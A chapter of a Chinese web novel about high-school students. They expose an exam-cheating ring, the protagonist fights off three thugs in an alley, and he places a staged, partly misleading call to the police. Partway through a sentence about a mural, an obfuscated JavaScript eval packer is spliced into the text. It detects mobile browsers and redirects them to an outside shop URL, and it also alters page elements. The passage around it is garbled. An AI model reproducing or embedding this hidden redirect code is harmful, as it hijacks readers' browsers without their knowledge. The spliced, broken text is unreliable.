在期末考试的高压之下,时间来到了1月25日。 浥鸣县的冬晨透着刺骨的寒意,校园里光秃秃的树枝上凝着薄薄一片露水。 早自习的预备铃还没响,考场外的走廊上已经挤满了拿着复习资料背诵复习的学生,口中呼出的气息在冷空气中化作一团团白雾。 汤振和于浩宁在一旁互相抽查古诗词,丁航也跟江悦和孟晓芸一起凑在楼梯拐角的背风处,交流着作文写作经验。 就在这时,一阵沉重而熟悉的皮鞋声从走廊尽头传来,逐步靠近高一3班教室门口。 汤振和于浩宁瞬间安静了下来,看向教导主任。 丁航见教导主任走近,便往后缩了缩身子,把手里的语文复习资料挡在脸前。 教导主任在几人面前停下了脚步,锐利如鹰隼的目光扫过周围,最终落在了江悦的身上。 “江悦,”教导主任常年严厉的嗓音里夹着一丝不易察觉的温和:“你半个月前晚自习右手受了伤,现在恢复得怎么样了?今天一大早就考语文,握笔写字还有问题吗?” 江悦微微一愣,随即大方地放下手里的书本,抬起右手,活动了一下手腕,笑道:“谢谢主任关心,现在已经完全好了,一点儿也不影响写字。” 教导主任点了点头,紧绷的脸颊稍显柔和,接着,她突然转过头,目光直直看向躲在一旁的丁航。 于浩宁看了汤振一眼,汤振耸了耸肩,摇头表示不知情。 出乎所有人的意料,教导主任并没有训斥丁航,而是把右手从裤兜里抽了出来,掌心里,赫然躺着丁航那部被没收了大半个学期的手机。 “把手机拿回去吧。”教导主任把手机往前一递,语气冰冷又平静,给人一种难以猜透的感觉。 丁航的眼睛瞬间睁大,睡眼惺忪的神情消失得无影无踪,“啊……这是,给我吗?主任。”说完,悻悻伸出手。 教导主任把手机稳稳放进丁航手中,板着脸道:“能不能考进班级前五,取决于你这段时间实打实的复习和努力。破例把手机提前还给你,是不想让你坐在考场里,心里还一直惦记着这部手机。” 说到这里,教导主任皱了皱眉,又补充道:“我怀疑半个月前办公室可能进了小偷,手机放我抽屉里,始终不太安全,你还是拿回去自己保管吧,以后别再偷偷带到学校里来了。” 汤振在一旁听得清清楚楚,半个月前,自然是自己和丁航去“偷手机”那晚…… 忽然,仿佛全身血液冲向了头顶,汤振想起:开学不久时,从教导主任办公桌的书里面偷走了一张合照,现在都期末了,恐怕教导主任早就发现那张照片不见了,自己竟然一直忘了把照片还回去。 想到这,汤振吸了一口冷气,露出一副惊讶的表情,试探道:“竟然有小偷?主任,咱们学校安保不是挺严的吗,您办公室丢了什么东西呀?” 汤振屏住呼吸,静静地盯着教导主任的眼睛。 教导主任摆了摆手,“倒也没有丢什么东西。” 汤振屏住的呼吸微微松了一寸,心里想着:或许是教导主任没有发现,又或许那张照片也没有那么重要吧。 “主要是半个月前,”教导主任皱着眉头,语气里透着一丝恼火:“不知道是哪个小偷笨手笨脚的,想撬我抽屉,结果把钥匙拧断在锁孔里面了,害得我第二天连抽屉都打不开,找人来撬的锁。” 汤振朝丁航眨了眨眼,脑子里紧绷的那根弦彻底松弛下来。 “行了,都别在这儿杵着了,”教导主任低眉看了看手表,厉声催促道:“预备铃马上响了,赶紧收拾文具吧,准备进考场。” 说完,教导主任又大步流星地继续巡视去了。 看着教导主任走远的背影,丁航一脸欣喜的表情,把那部失而复得的手机在汤振和于浩宁面前嘚瑟地晃了晃。 “哈哈哈,看到没,”丁航压低声音,激动得满脸通红,“教导主任居然直接把手机还给我了,我原本都做好考不进前五被她骂的心理准备了。” 于浩宁无语地翻了个白眼,转身先往考场走了过去。 汤振站在原地,看着丁航手里的手机,心里突然觉得教导主任有时也是个刀子嘴豆腐心的人。 “喂,浩磊,”丁航一把揽住汤振的肩膀,“快把你手机号告诉我,你也存一下我的手机号,以后有什么事儿,就可以及时打电话发短信了。” “我可没带手机……”汤振一脸冷酷地拒绝了丁航递过来的手机,随口报出了自己的手机号码。 丁航一脸笑意地存好了汤振的手机号码,便把手机关机,塞进了书包里,感慨道:“哎呀,这教导主任突然这么慈祥,还真让人有点不适应呢。” 汤振吐槽道:“你是不是真傻,这还看不明白吗?教导主任都说了,她发现了抽屉里的断钥匙,误以为真的有小偷。她担心那些没收了的手机被偷走,到时候又要她担责,所以才干脆顺水推舟,把收上去的手机提前还给了大家。” 丁航愣了两秒,伸手打了个响指,一脸恍然大悟的模样,得意洋洋地抬起了下巴,“哦……我懂了,那这么说的话,半个月前,要不是我非拉着你去她办公室,她就不会误以为有小偷,也就不会把手机提前还给我们了,这还不是多亏了我的聪明才智!” 汤振两手一摊,“你倒很会往自己脸上贴金……” “叮铃铃——” 第一堂语文考试的预备铃声,在此时响亮地划破了校园的寒冬。 汤振转过身,将资料卷成一个筒,拿在手上,毫不客气地敲了一下丁航的肩膀。 “行了,丁航,”汤振朝着考场的方向抬了抬下巴,笑道:“赶紧去考场吧,等期末成绩公布时,我倒要看看,你这所谓的聪明才智,能让你这次考试拿多少分。” 安静的两个小时,在寒冬的校园里过去。 上午11点整,第一堂语文考试的交卷铃声响彻校园,人群如潮水般从各个考场涌出。 汤振收拾好文具,却没有像其他人那样奔向食堂,而是在隔壁考场门口等到于浩宁和丁航出来,随后拉上两人,悄无声息地绕到了顶楼走廊尽头的一处监控死角里。 “我们不去吃饭,跑这儿来干嘛?”于浩宁被冻得缩了缩脖子,压低声音问道。 “来看戏!” 汤振回答完,将半个身子隐入拐角的阴影中,盯着走廊另一头那间临时堆放答题卡的办公室,低声道: “我们考场刚好是教导主任监考,我交卷的时候,在她包上放了一张匿名的纸条。你们忘啦?咱们不是说好要来围堵换答题卡的人么……” 话音刚落,远处传来一阵急促的脚步声。 一个身影出现在走廊另一边的楼梯口。 那人影极其警惕地左右张望了一番,确认走廊无人后,从宽大的校服外套里摸出了一沓密密麻麻的答题卡。 汤振看着那人影左顾右盼的动作,觉得极其眼熟,于是在脑海中思索着,回想起了那天在礼堂楼上的走廊看到的情形,那人影……有几分像沈言峰。 汤振仔仔细细地看着,那人接着熟练地掏出一根铁丝,捅进了办公室的门锁里。 远处传来“咔嗒”一声轻响,门开了,那人立刻钻了进去,关上了门。 丁航捂着嘴说道:“真的有人进去了!” 于浩宁蹲在地上,吃力地提醒道:“嘘,小声点。” 汤振将头微微一抬,“那晚,我把丁航的信息改成了一个虚假的信息,那个换答题卡的人估计要在里面找好一阵呢。” 丁航的声音瞬间提高了八度,指着那边说道:“你们快看,教导主任带人过去了!” 只见从走廊那边的楼梯口走出三个人,教导主任带着一位老师和一位安保人员径直朝那间临时堆放答题卡的办公室走了过去。 汤振三人隔着长长的走廊转角静静地看着远处,连大气也不敢喘。 教导主任带头走在前面,轻手轻脚地停在了那间办公室前。 “咔嗒——” 门被轰然推开。 教导主任身形一凛,朝办公室里怒斥道:“你在干什么?!” 虽然隔得极远,但教导主任这声怒吼,却是顺着冬日的寒风传到了汤振三人耳边,让汤振听得心里发颤。 教导主任愤怒的咆哮声,瞬间在办公室里炸开。 周围仿佛被抽成真空,办公室里,只有沈言峰一个人的身影。 沈言峰瞬间僵成了一座冰雕,瞳孔不可思议地望着教导主任。 “哗啦——” 沈言峰手里那几张提前填好的答题卡,如同秋风中的落叶,无力地滑落了一地。 教导主任看向地上散落的答题卡,上面密密麻麻的字,在白炽灯下显得尤为刺眼。 “主,主任!我……”沈言峰双腿发软的样子,嘴唇毫无血色地哆嗦着,连一句完整的话也拼凑不出来。 “你哪个班的?真是胆大包天了,居然敢在我们二中干出这种事来!”教导主任一把拽住沈言峰的臂弯,将他拖了出来,吼道:“马上跟我去校长办公室!” “砰”的一声,那间办公室的门又被重重关上,沈言峰惊恐万分地跟在教导主任的身后,走下了楼梯。 拐角的阴影里,汤振三人静静地看完这一幕,丁航一脸惊恐未定的样子,于浩宁也意味深长地看向那间办公室,久久没有说话。 “走吧,”汤振缓了一口气,语气轻松了几分:“你们也看清是谁了。咱们先去吃饭吧,下午还要考数学呢。” 中午12点整,食堂里人声鼎沸,和刚才安静的走廊形成了强烈的对比。 空气中正弥漫着饭菜的香气,校园里的广播突然响起一阵电流声。 食堂里沸腾的说话声突然安静,人人都看向食堂四周的广播,汤振三人也停下了嘴里的咀嚼。 一阵电流声后,广播里传出教导主任熟悉的声音:“下面播放一则通报批评,高一3班沈言峰同学,因涉嫌期末考试组织舞弊,给予记大过处分,其余六名涉嫌通过非法渠道购买答案的违纪学生,给予严重警告处分。希望所有同学引以为戒,诚实守信,凭实力考出好成绩。若再有人考试作弊,一律从重处罚!” 随后,广播便“哔”一声恢复了静止。 于浩宁撇这嘴,将筷子拍在餐盘上,盘子里的意大利面酱汁也溅出来了几滴。 “这么离谱吗,”于浩宁眉头紧锁道:“有组织的作弊,性质这么恶劣,咱们学校居然不直接给予开除处分?只是记大过和严重警告。更何况沈言峰可能只是其中一个环节呢,说不定背后还有其他人……” 汤振正慢条斯理地将罗非鱼的肉一块一块刨下来,听到于浩宁的抱怨 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“所以,有时候也不用把学校想得那么绝情,”汤振看着食堂窗外冬日的冷阳光,声音低沉而通透:“这里再怎么惩罚,也只是高举轻放的温室。等你们以后真的出了社会,利益倾轧,那才是真正的吃人不吐骨头。” 饭桌上的气氛短暂地陷入了沉默。 丁航打趣道:“瞧你说的,像你出过社会似的。” 汤振和于浩宁相视一眼,忍不住抿嘴一笑。 丁航没注意到汤振和于浩宁的动作,只一味地望着食堂天花板的广播,说道:“浩磊,还好你这半个月来,每天都给我补习,劝我不要想那些歪门邪道,否则的话……说不定以后某一天,受处分的就是我了。” “谢就不必了,”汤振笑道:“下午的数学,才是真正的考验呢。你要是真想谢我,就凭自己的脑子,考进班级前五。” 丁航点了点头,眼底燃起了一股前所未有的斗志,“你看着吧,肯定没问题!” 午后的阳光透过食堂的玻璃,在饭桌上洒下一片温柔。 几人将餐盘放去回收处,散着步回教室了。 校园温室里,一场不大不小的风暴暂时平息。 下午五点,随着一阵长长的交卷铃声在校园上空回荡,第一天的期末考试结束了。 压抑一天的高压瞬间泄气,教学楼里爆发出一阵阵如释重负的喧闹声,所有人抓起轻松了不少的书包,陆陆续续朝校门外走去,接着准备明天的考试科目。 汤振和于浩宁也随着拥挤的人潮顺着楼梯往下走。 路过林荫道时,汤振看向远处的博学楼。 一楼大厅里,几个工作人员正将那台有问题的自动售货机往卡车上面搬去,教导主任也带着几个人在一旁检查另外几台机器。 于浩宁长长地呼出一缕雾气,“教导主任依旧雷厉风行。” 汤振双手插在校服口袋里,看着那一地的金属残骸,眼神坚定道:“当断不断,反受其乱。学校既然决定要处理,当然是要快刀斩乱麻。” “走吧,回家!” 于浩宁一把揽住汤振的肩膀,两人大步流星地朝校门外走去。 日落的时间和上个月底相比,稍微迟了一些。 橙红的晚霞,将浥鸣县的街道涂上了一层染料,冬日的寒风迎面吹来,汤振缩了缩脖子,习惯性地吐槽起刚才的考试。 “最后两道大题,简直太难了,”汤振一边走,一边踢着地上的一截枯树枝,抱怨道:“我算倒数第二道题第二问的时候,草稿纸都写了两页,最后得出一个带根号的数。你算出来是多少?” “负二分之一,”于浩宁漫不经心地回答:“你化简了吗?” “好吧,我就知道我没做对。”汤振一脸无奈地摇了摇头,同时拿出了书包里的手机。 上午为了应付教导主任,汤振将手机塞到了书包的夹层里。现在放学了,总算是能拿出来玩玩。 汤振单手拿着手机,大拇指长按了开机键。 “嗡——” 手机刚打开,屏幕还亮着微弱的白光,突然,手机震动了一下。 屏幕上,一条未读短信弹了出来。 汤振定睛一看,发件人竟是丁航。 看清短信内容的瞬间,汤振眼神骤然凝固。 短信内容极其简单,甚至连标点符号都没有,却透着一股让人毛骨悚然的仓促: [后街14巷SOS] 汤振的脚步猛地钉在原地,脸上的轻松感瞬间褪去,取而代之的是一层覆满寒霜的铁青,他紧紧盯住那条短信,尤其是结尾的三个大写英文字母:“SOS”。 ——求救信号! 冬日的冷风顺着汤振的领口灌进去,他只觉得握着手机的手指比风还冷。 “怎么了,”走出去两步的于浩宁似乎也察觉到不对劲,回过头看向汤振,问道:“谁发来的消息?” “丁航……好像出事了,”汤振深邃的眼睛里满是凌厉的寒芒,他将手机屏幕怼到于浩宁面前,“你在这里等我,千万别动。我现在去找丁航,30分钟我没回来,你就报警。” 县城的街头渐渐被紫红色的晚霞笼罩。 伴随着一阵急促的脚步声,汤振的身影迅速朝浥鸣二中后街的方向跑去。 33. 对决与挑衅 二中后街14巷,是一条常年不见阳光,堆满废弃建筑材料的小巷。 汤振如猎豹般从校门口一路冲了过来,剧烈的狂奔让他喘得上气不接下气,仅仅不到三分钟,他就出现在了14巷的巷口。 巷子深处,黄昏的光影下,丁航正满脸惊恐地背靠着一面布满青苔的砖墙,他的校服已经被撕开了一道大口子,脸上带着零星血迹,剧烈地喘着粗气。 丁航周围,三个流里流气的社会混混将他团团围住,带头的人戴着一个黑色口罩,手里正掂量着一根生锈的空心钢管。 “跑啊,你不是很厉害吗,”混混头目嗤笑一声,握着手里的钢管,像握着利剑一般,直直指向丁航的小腿,“作弊的事情,是不是你举报的?以前每次买答案,都有你的名字,这次怎么偏偏你没被抓?” 丁航无助地望着那人,颤抖着摇头。 混混头目右手的指关节阵阵发白,看着丁航道:“看来今天不给你放点血,你都不知道学校里是谁说了算!” 眼看那根钢管就要带着风声砸下。 千钧一发之际,汤振眼里的温顺变成出了一股从泥潭里厮杀出来的戾气,他抄起地上的空啤酒瓶,朝那头目冲了过去。 “砰——” 那钢管落下来的一瞬间,汤振伸出右臂狠狠勾住,再一个转身,将手里的啤酒瓶顺势砸向了对方戴着口罩的脸。 只听得一阵玻璃碎裂的声音,对方捂着脸,一个踉跄,手中的钢管也“哐当”一声掉在地上。 汤振没有废话,连忙腾空飞扑过去,顾不得手上磨破的皮肤,抄起掉落的钢管,紧紧握在手中。 地上的玻璃碎了一地,汤振眼见对方被瓶子砸得快要站不稳,连忙抓着对方脖子后面的衣领,铆足劲朝地上一压,那人便应声倒地,直挺挺摔在满地的玻璃渣上,疼得两眼紧闭,一时间丧失了战斗力,只有黑色口罩还给他留了一丝体面,不至于让人看见他龇牙咧嘴的样子。 这突如其来的变故让剩下的两个跟班猛地回头,警惕地伏着身躯,面向汤振,做出战斗的姿态。 丁航瞪大了眼睛,注视着这个平时给他补习的“好学生”此刻正一脸杀气地站在满地碎玻璃中。 丁航看得出神,一时手足无措,连躲也忘了躲。 “哪来的野狗?多管闲事!” 其中一个跟班勃然大怒,抡起手中的弹簧刀,就朝汤振的左臂狠狠刺去。 汤振不躲不闪,在刀刃即将碰到自己衣服的一瞬间,身子向右边一滑,左手如同铁钳般精准地扣住了对方的手腕关节,用力往下一掰。 伴随着一声痛苦的惨叫,弹簧刀脱手,掉在地上,发出一声脆响。 紧接着,汤振毫不留情地抬起右腿,膝盖如一记重锤般,狠狠顶在那跟班的肚子上,再抬起右手紧握着的钢管,朝那人的手臂奋力砸去。 顿时,对方便像一只煮熟的河虾,痛苦地弓起身子,捂着肚子跪倒在地,嘴里呕出一股一股的清水。 汤振眼疾手快,将地上的弹簧刀踢到丁航脚下,简短地命令道:“你,拿刀,我更喜欢用棍子!” 丁航的眼神也从慌乱中清醒过来,迅速弯下腰,将弹簧刀紧紧握在手中。 仨混混已经倒下了俩,剩下的那个跟班见势不妙,也从腰间摸出一把尖刀。 那人朝汤振和丁航两人猛冲过来,快到两人身边时,汤振顺势倒下,一记滑铲将那人绊倒,摔了个狗吃屎,趴在地上,连门牙也磕掉了一颗半。 机会不等人! 汤振抄起钢管,朝丁航使了个眼色,丁航便一脚将那人踢得翻了个面,四仰八叉地躺在地上。 汤振将手中的钢管高高扬起,随后像风一般将那钢管笔直地插了下来,眼看就要碰到那人的右眼,汤振又迅速停住了手。 “救命!救命!救命!” 那人躺在地上,伸出双手,不断地求饶,但由于刚摔掉了门牙,现在说话也有点漏风,只能从他一边呜咽一边流血的嘴里,依稀辨认出他说的是什么。 “我错了,我错了,大哥,求你饶了我!”说完,那人又啐出一口鲜血。 汤振仍紧握手中的钢管,将其竖直悬在那跟班的头顶。 一股尿骚味钻进汤振的鼻腔,他厌恶地看向那人的裤子,上面已经湿了一大片。 看着地上呜咽低叫的三个混混,汤振看了看手表,刚才的整个过程只花了不到五分钟,又抬头看了看整条巷子,一个监控摄像头也没有。 忽然,汤振忍不住看向那个带头的混混,越看越觉得眼熟。 不顾丁航害怕的目光,汤振独自走上前去,缓缓蹲了下来,仔细注视着躺在地上的混混头目。 汤振一把揪起那人的衣领,将他脑袋半提了起来,右手扯下了他脸上的黑色口罩,那人痛苦扭曲的脸顿时暴露在昏暗的光线中。 这一刻,时间仿佛在汤振的脑海中静止了,心脏也如同被一只无形的大手攥住,漏跳了一大拍,像有冰水从他头顶灌入脑中。 这个带头的混混,竟然是—— 樊奕诚! 汤振在心里疯狂咆哮着,樊奕诚的脸,汤振已经熟悉得不能再熟悉,这是自己养父手底下的一个小跟班。 以前跟着养父出去“办事”时,樊奕诚时常作为负责“收尾工作”的小喽啰之一,和其他人一起清理现场。 半年前,汤振费劲心思,才从养父手底下逃出来,用尽全力伪装成于浩磊,想要抹掉自己以前的一切痕迹,没想到今天竟然在这里,碰到了以前的“老熟人”! 汤振不由得担心起来,如果樊奕诚借着黄昏的微光认出了自己…… 汤振不敢再细想,连忙起身,将自己的大半边面孔隐入阴影中,看向丁航,压低了声音:“赶紧走!”随后一把拽住了还在发愣的丁航的胳膊。 丁航被拉得踉跄了一下,满脸疑惑,但看着汤振那副如临大敌的模样,也只能跟着汤振往巷口快步走去。 “哕……呸!” 就在汤振和丁航刚走出去没几步时,身后的樊奕诚吐出了一口带血的唾沫,脸色痛苦地扶着墙艰难站了起来,双眼如毒蛇般盯着两人的背影。 “你们以为今天这事就算完了?”樊奕诚靠在墙上,咬牙切齿地挑衅着,声音里满是嚣张:“今天算我栽在你手上,明天,就明天,你们给我等着!” 听到樊奕诚这样说,汤振的脚步霎时顿住。 巷子里穿梭的寒风,将地上的报纸碎屑卷起,如同飞扬的硝烟。 在短暂的两秒里,汤振心里忽然有了其他想法: 从前在养父手下办事的时候,自己很少公然露面,虽然自己见过樊奕诚好几次,但是樊奕诚未必见过自己。 这样想着,汤振又觉得自己暴露身份的风险似乎并不大,既然樊奕诚明天还想再约一架,倒不如趁明天这个机会,把他送进去关一段时间……实在是两全其美。 汤振缓缓转过身,将自己的脸藏在背光的阴影里,看向不远处的樊奕诚,嘴角似笑非笑地勾起一个弧度。 “好啊,”汤振的声音不算大,却字字掷地有声:“那明天下午,还是这个时候,还是在这里见。” 旁边的丁航震惊地看着汤振,仿佛在看一个疯子。 汤振没有理会丁航的反应,他直视着樊奕诚,语气更加煽动人心:“听清楚了,别怪我今天没提醒你们。明天,你们能带多少人,就带多少人;能抄多少家伙,就抄多少家伙。” 樊奕诚显然被这种近乎羞辱的狂妄激怒,“行,你有种!” 远远盯着汤振的侧脸,樊奕诚狠狠地抹了一把嘴角的血迹,眼神凶狠似野兽,“明天一定让你吃不了兜着走!” 汤振没有再多说半个字,干脆利落地转过身,拉着一脸茫然的丁航,快步消失在了巷子尽头的黄昏光影之中。 黄昏的最后一点余晖从天际线剥落,街道两旁的路灯一盏接一盏地亮起,像两条丝带,一直延伸向远方。 汤振走在前面,步子迈得着急,深冬的冷风将他额前微微汗湿的碎发吹得凌乱。 丁航紧紧跟在汤振身后,一边走,一边用手捂着刚才在巷子里被擦破的嘴角,时不时就疼得咝咝吸气。 两人一前一后走出了两条街,汤振确认身后没有樊奕诚那帮人的追踪后,紧绷的神经才稍微放松了些。 丁航快步走上前,和汤振并肩,借着路灯的光晕,打量着身旁这个一脸好学生模样的人,喉结不由自主地滚动了一下。 “喂,”丁航的眼神里透着一股毫不掩饰的狂热,连声音都有些变调:“浩磊……磊哥,浩磊哥,我能不能认你当大哥?” 听到这句有些中二的发言,汤振脚下一个踉跄,差点没绷住脸上的表情。 看向丁航带着点清澈愚蠢的脸,汤振心里一阵忍俊不禁,觉得肉麻到了极点,但脸上的神色强行恢复了平日里的冷峻。 “太肉麻了,”汤振停下脚步,转头看向丁航,“你还是直接叫我‘浩磊’吧。但我得叮嘱你一件事,今天在巷子里发生的所有细节,不能告诉任何人。” 丁航愣了一下,看着汤振那不容置疑的眼神,问道:“连你弟弟也不能告诉吗?” “对,连于浩宁也不能告诉,”汤振的语气加重了几分,隐隐透着一股压迫感,“这是我们俩之间的秘密,待会儿他如果问起我们是怎么受的伤,就说是逃出来的过程中磕碰的。” 丁航连连点头,“没问题,磊哥,我的嘴,可严实了!” 汤振这才满意地笑了笑,看向前方,“走吧,浩宁还在学校门口等我呢。” 浥鸣二中校门口。 于浩宁正在冷风中来回踱步,时不时地探头朝街道另一边张望。 五分钟后,远处的路灯下,两个熟悉的身影走了过来,于浩宁见状,立刻快步迎了上去。 “哥,丁航,你们回来了。” 于浩宁刚喊出声,眼神又看向了两人脸上和手上的一些小擦伤,声音瞬间拉高了八度:“你俩这是怎么了?” 除了伤口以外,丁航的校服外套还被撕了一道长长的口子。 汤振虽然看上去要整洁一些,但校服背后也沾染了斑斑驳驳的青苔印,手掌还有些发红。 于浩宁心疼地皱起眉头,伸手就想去挽起汤振的袖口。 汤振下意识地将手往身后移了一下,带着几分喘息道:“还不是因为丁航这小子,他刚才被三个混混堵在14巷里了,我赶过去的时候,刚好拉着他从巷子里跑了出来。天太黑,巷子里又乱,逃跑的时候难免磕磕碰碰,受了点儿皮外伤。” 丁航先是一愣,随即立刻点头配合道:“对对对!那三个混混手里还拿着棍子呢,多亏浩磊拉着我跑得快,不然我今天可要遭罪了。” 于浩宁狐疑地看着两人,目光在丁航破损的校服和汤振身上的青苔印上扫了一圈,问道:“跑能跑成这样吗,你俩确定不是跟人家打架……打成这样的?” “绝对没有,”丁航把头摇得像拨浪鼓,“那可是三个抄着家伙的成年人,我俩高中生怎么可能打得过,我们真的是逃跑的时候磕碰的!” 于浩宁眼神中的担忧之色渐渐散去,转头看向丁航,问道:“那三个混混干嘛要去找你麻烦?” 闻言,丁航眼底瞬间掀起一股憋屈的愤怒,他咬牙切齿道: “我多半是被报复的!刚才在巷子里,那三个混混骂骂咧咧,说我断了学校里作弊团伙的财路。你想啊,以前每次考试,那台售货机里面都有我的名字,偏偏这次期末考试,我刚好就没买答案,作弊的事情刚好又让学校知道了……” 丁航攥紧了拳头,发狠道:“在背后组织作弊的人,肯定以为是我举报的,所以他们才说,要给我一点教训。” 听到丁航一口气解释了这么多,于浩宁一脸恍然大悟的样子,缓慢点头。 站在一旁的汤振,看着此刻义愤填膺的丁航,脑海中突然一激灵:这是一个绝妙的试探丁航的机会。 汤振随意地伸手拍了拍校服上的灰尘,目光却紧紧锁定了丁航的眼睛,开口道:“其实,说到被围堵……之前开学后不久,我也在学校后街遇到过一次。” 汤振放慢了语速,观察着丁航的表情,“当时也是四个人,我和浩宁被逼得没有退路,最后只能冒险从四楼的高度,抓着防护网跳下去,才侥幸逃脱。” 然而,丁航听得津津有味,眼神毫不闪躲地和汤振对视着。 终于,汤振问出了那个盘桓在心里很久的问题:“丁航,那次的四个人……是不是你叫去的?” 空气在这一秒突然安静,丁航呆滞了两秒,有些粗犷的脸瞬间涨得通红,两只手像触电一样连连摆动。 “不是我,绝对不是我,”丁航急得差点跳起来,惶恐道:“我今天都认你当大哥了,你一定要相信我。我承认,开学那会儿我确实看你不顺眼,但我也不至于因为班上的一点小事,就去找人弄你啊,而且我上哪儿去认识那些混混?我要是有人脉,今天还能被别人堵在巷子里吗?哥,你一定要相信我!” 看着丁航那副急于剖白又毫无作伪痕迹的模样,汤振的心里也猛然一沉。 察言观色也是汤振所擅长的事情之一,丁航这样惊恐和急切的反应,实在不像是演出来的。 汤振感觉周身的温度仿佛在这一瞬间降到了冰点:不是丁航,到底是谁呢? 三人站在昏黄的路灯下,傍晚的冷风将地上的枯叶吹得窸窣作响。 汤振和身旁的于浩宁对视一眼,从彼此的眼里读到了一股浓重的迷茫与寒意。 惊魂未定的丁航再次拍着胸脯,保证自己绝对没有找过混混去为难汤振。 汤振也有些心疼地看了看丁航,点头道:“行,我信你。那既然时候也不早了,咱们都早点回去吧。” 三人又寒暄几句,丁航挥手跟汤振和于浩宁说了“明天见”,便拖着疲惫的身影往家的方向走去,还将校服上划破的口子往腋下藏了藏。 直到丁航的背影彻底消失在街道拐角,于浩宁才收回目光,一言不发地拉起汤振的胳膊,径直走进了街角的一家平价药房,买了一瓶碘伏和一包医用棉签。 随后,于浩宁带着汤振,避开喧闹的主街,一路散着步。 十五分钟后,两人来到了学校后山那座早已废弃的小型天文台。 这里地势稍高,平时少有人来,从这里望去,浥鸣县静静地躺在山下。 旧天文台四周杂草丛生,一座斑驳的水泥圆顶建筑静静地矗立在夜色中,像极了漫画里的世界。 两人找了一处水泥台阶,缓缓坐下,听着周围落叶簌簌的声音。 于浩宁小心翼翼地拧开碘伏的瓶盖,用棉签蘸了蘸褐色的药水,凑近了汤振的脸颊。 汤振也闭上眼睛,将脸凑近于浩宁,感受着碘伏涂抹在脸上的凉意。 一阵凛冽的寒风,恰好从豁口处吹来。 “起风了,你把脸转过去一点,”于浩宁拿着棉签的手悬停在半空,眉头微微皱着,语气里透着关切:“冷风直接吹在伤口上,会有一点痛。” 汤振嘴角忍不住露出笑意,依言将脸向左侧偏了偏。 寒风带来一些枯叶和杂草,似乎要将傍晚的最后一缕晚霞也尽数吹散。 棉签轻轻点在汤振脸上和手臂上的擦伤处,碘伏带来一阵微凉感,却并不刺痛。 擦完脸上的伤口,汤振缓缓睁开了眼,目光越过于浩宁的肩膀,漫无目的地投向了天文台内侧的弧形墙壁上。 借着细微的晚霞,汤振的视线突然定住了。 在那面有些裂纹的墙壁上,赫然画着一幅色彩绚丽的涂鸦。 画面的背景是深邃浩瀚的星空,两名 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17575486|205002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 穿着厚重宇航服的宇航员正漂浮在太空中,彼此伸出手臂,似乎想要在太空里紧紧握住对方的手。 但这幅画却有一种让人难受的割裂感,虽然左边的宇航员画得栩栩如生,但右边的宇航员却只用黑色线条勾出了轮廓,色彩也在两人指尖即将触碰的边缘戛然而止。 “你看,那墙上有一幅涂鸦。” 汤振轻轻开口,抬手指了指废弃天文台的墙壁。 于浩宁回过头,顺着汤振的视线看了过去。 看清那幅涂鸦后,于浩宁拿着棉签的手微微一颤,眼神瞬间黯淡了下来,低声道:“那是我哥画的。” 于浩宁又收回目光,继续低头给汤振的膝盖上擦药,继续说道:“我哥平时对天文和画画感兴趣,那幅涂鸦画的是两个宇航员在太空握手。他说,左边的宇航员是我,右边的宇航员是他。” “画得很好,”汤振看着那幅未完成的涂鸦,心里莫名涌起一股失落,问道:“那怎么没画完呢?” 于浩宁有些伤感地苦笑了一下,嘴角的弧度里也藏着酸涩,“那天带的颜料不太够,他就说,改天再接着画。” 于浩宁顿了一下,声音轻得仿佛会被风吹散:“后来的事情你也知道,我哥失踪过后,再也没有回来,这幅涂鸦也就一直保持着这种半成品的状态,经历着风吹日晒,颜色已经淡了一些了。” 汤振静静地望着那幅半成品,内心的情感如同潮水般翻涌。 在心底默默问道:于浩磊,你到底在哪里呢?但空荡荡的废弃天文台,只有风声回应着汤振心里的疑问。 “好了,涂完了。”于浩宁拧紧碘伏瓶盖,打破了平静的沉默。 汤振深吸了一口气,将那些沉重的情绪强行压回心底,眼神再次恢复了明亮与锐利。 “浩宁,把你手机借我用一下。”汤振伸出手。 于浩宁也没多问,直接掏出手机递了过去。 汤振熟练地打开拨号界面,毫不犹豫地在键盘上按下了报警号码,随后按下了免提。 “嘟……嘟……” 电话很快接通了。 “您好,浥鸣县报警中心。”电话那头传来一名女子清晰有力的声音。 汤振坐在冰冷的水泥台阶上,有条不紊地说道:“警察同志您好,我要提供一条重要的治安线索。明天傍晚,大概六点左右,在浥鸣县二中后街14巷,会有一场暴力集结活动,对方涉嫌携带大量管制刀具,聚众斗殴。希望你们到时候能提前布控,派人过去把那群人一网打尽。” 坐在一旁的于浩宁眼睛都瞪大了,好奇地听着汤振一字一句打着电话。 汤振正准备挂断电话,于浩宁一把抓住了他的手腕,耳语道: “等等!你怎么就这么肯定那帮人会上你的当?我知道你是想引诱对方,把对方一网打尽。但是万一他们明天没去呢,或者万一他们也报了警准备抓你呢?那你现在岂不是报假警了,这可是要负法律责任的。” 这番直击要害的质问,犹如一道闪电劈进了汤振的大脑。 汤振忽然反应过来,深吸了一口气,语气平静了下来,继续对着电话道:“警察同志……” 当汤振再次对着话筒说话时,运筹帷幄的嗓音消失得无影无踪,他的声音突然开始微微颤抖,连呼吸都变得急促而慌乱,像是陷入了无尽的恐慌。 “警察同志,”汤振用一种可怜的语气说道:“我也不确定他们明天到底会不会去。我是浥鸣二中的学生,今天放学的时候,我被那群混混围堵在了14巷,他们手里还拿着钢管,威胁我说,明天傍晚如果不带钱去14巷,他们就要给我点教训,我真的很害怕……” 这几句补救,终于让一旁于浩宁的脸色缓和了下来。 电话那头的接线员立刻放缓了语气,安抚道:“同学,你先别怕,保护自己的人身安全最重要。你反映的情况我们已经详细记录下来了,明天会加强那片区域的巡逻和布控。如果有需要,我们会再通过这个号码联系你。” “好!谢谢,谢谢你们……” 汤振颤抖着声音道谢,随后按下了挂断键。 “呼——” 屏幕熄灭的瞬间,汤振长长地舒了一口气,脸上装出来的惊恐也消失得无影无踪。 